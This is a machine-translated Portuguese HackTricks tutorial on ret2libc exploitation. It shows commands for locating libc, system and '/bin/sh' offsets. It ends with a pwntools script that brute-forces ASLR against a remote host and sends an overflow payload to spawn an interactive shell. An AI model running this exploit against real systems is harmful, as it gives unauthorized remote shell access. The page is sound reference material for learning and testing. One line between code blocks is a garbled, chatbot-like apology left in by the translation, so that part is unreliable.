mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
118 lines
6.3 KiB
Markdown
118 lines
6.3 KiB
Markdown
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
**Se você encontrou um binário vulnerável e acha que pode explorá-lo usando Ret2Lib, aqui estão alguns passos básicos que você pode seguir.**
|
|
|
|
# Se você está **dentro** do **host**
|
|
|
|
## Você pode encontrar o **endereço da lib**c
|
|
```bash
|
|
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
|
|
```
|
|
Se você deseja verificar se o ASLR está alterando o endereço do libc, você pode fazer o seguinte:
|
|
```bash
|
|
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
|
|
```
|
|
## Obter o deslocamento da função system
|
|
|
|
Para explorar uma vulnerabilidade de retorno para a biblioteca (ret2lib), precisamos saber o deslocamento da função `system` na biblioteca `libc`. Podemos obter esse deslocamento usando a ferramenta `objdump`.
|
|
|
|
Primeiro, precisamos encontrar a biblioteca `libc` usada pelo programa. Podemos fazer isso usando o comando `ldd`:
|
|
|
|
```bash
|
|
$ ldd /bin/ls
|
|
linux-vdso.so.1 => (0x00007ffce8bfe000)
|
|
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007f5d5d3c2000)
|
|
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d5cf00000)
|
|
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f5d5cc8f000)
|
|
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5d5ca8b000)
|
|
/lib64/ld-linux-x86-64.so.2 (0x00007f5d5d7c8000)
|
|
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f5d5c86e000)
|
|
```
|
|
|
|
Neste exemplo, a biblioteca `libc` está localizada em `/lib/x86_64-linux-gnu/libc.so.6`.
|
|
|
|
Agora podemos usar o `objdump` para encontrar o deslocamento da função `system` na biblioteca `libc`:
|
|
|
|
```bash
|
|
$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
|
|
000000000004f440 w DF .text 0000000000000036 GLIBC_2.2.5 system
|
|
```
|
|
|
|
O deslocamento da função `system` é `0x4f440`.
|
|
```bash
|
|
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
|
|
```
|
|
## Obter o deslocamento de "/bin/sh"
|
|
```bash
|
|
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
|
|
```
|
|
## /proc/\<PID>/maps
|
|
|
|
Se o processo estiver criando **filhos** toda vez que você se comunica com ele (servidor de rede), tente **ler** esse arquivo (provavelmente você precisará ser root).
|
|
|
|
Aqui você pode encontrar **exatamente onde a libc é carregada** dentro do processo e **onde será carregada** para cada filho do processo.
|
|
|
|
![](<../../.gitbook/assets/image (95).png>)
|
|
|
|
Neste caso, ela é carregada em **0xb75dc000** (este será o endereço base da libc)
|
|
|
|
## Usando gdb-peda
|
|
|
|
Obtenha o endereço da função **system**, da função **exit** e da string **"/bin/sh"** usando gdb-peda:
|
|
```
|
|
p system
|
|
p exit
|
|
find "/bin/sh"
|
|
```
|
|
# Bypassando o ASLR
|
|
|
|
Você pode tentar forçar a barra para encontrar o endereço base do libc.
|
|
```python
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
```
|
|
Desculpe, não entendi o que você quer dizer com "Code". Você pode me dar mais informações ou contexto?
|
|
```python
|
|
from pwn import *
|
|
|
|
c = remote('192.168.85.181',20002)
|
|
c.recvline() #Banner
|
|
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
p = ""
|
|
p += p32(off + 0x0003cb20) #system
|
|
p += "CCCC" #GARBAGE
|
|
p += p32(off + 0x001388da) #/bin/sh
|
|
payload = 'A'*0x20010 + p
|
|
c.send(payload)
|
|
c.interactive() #?
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|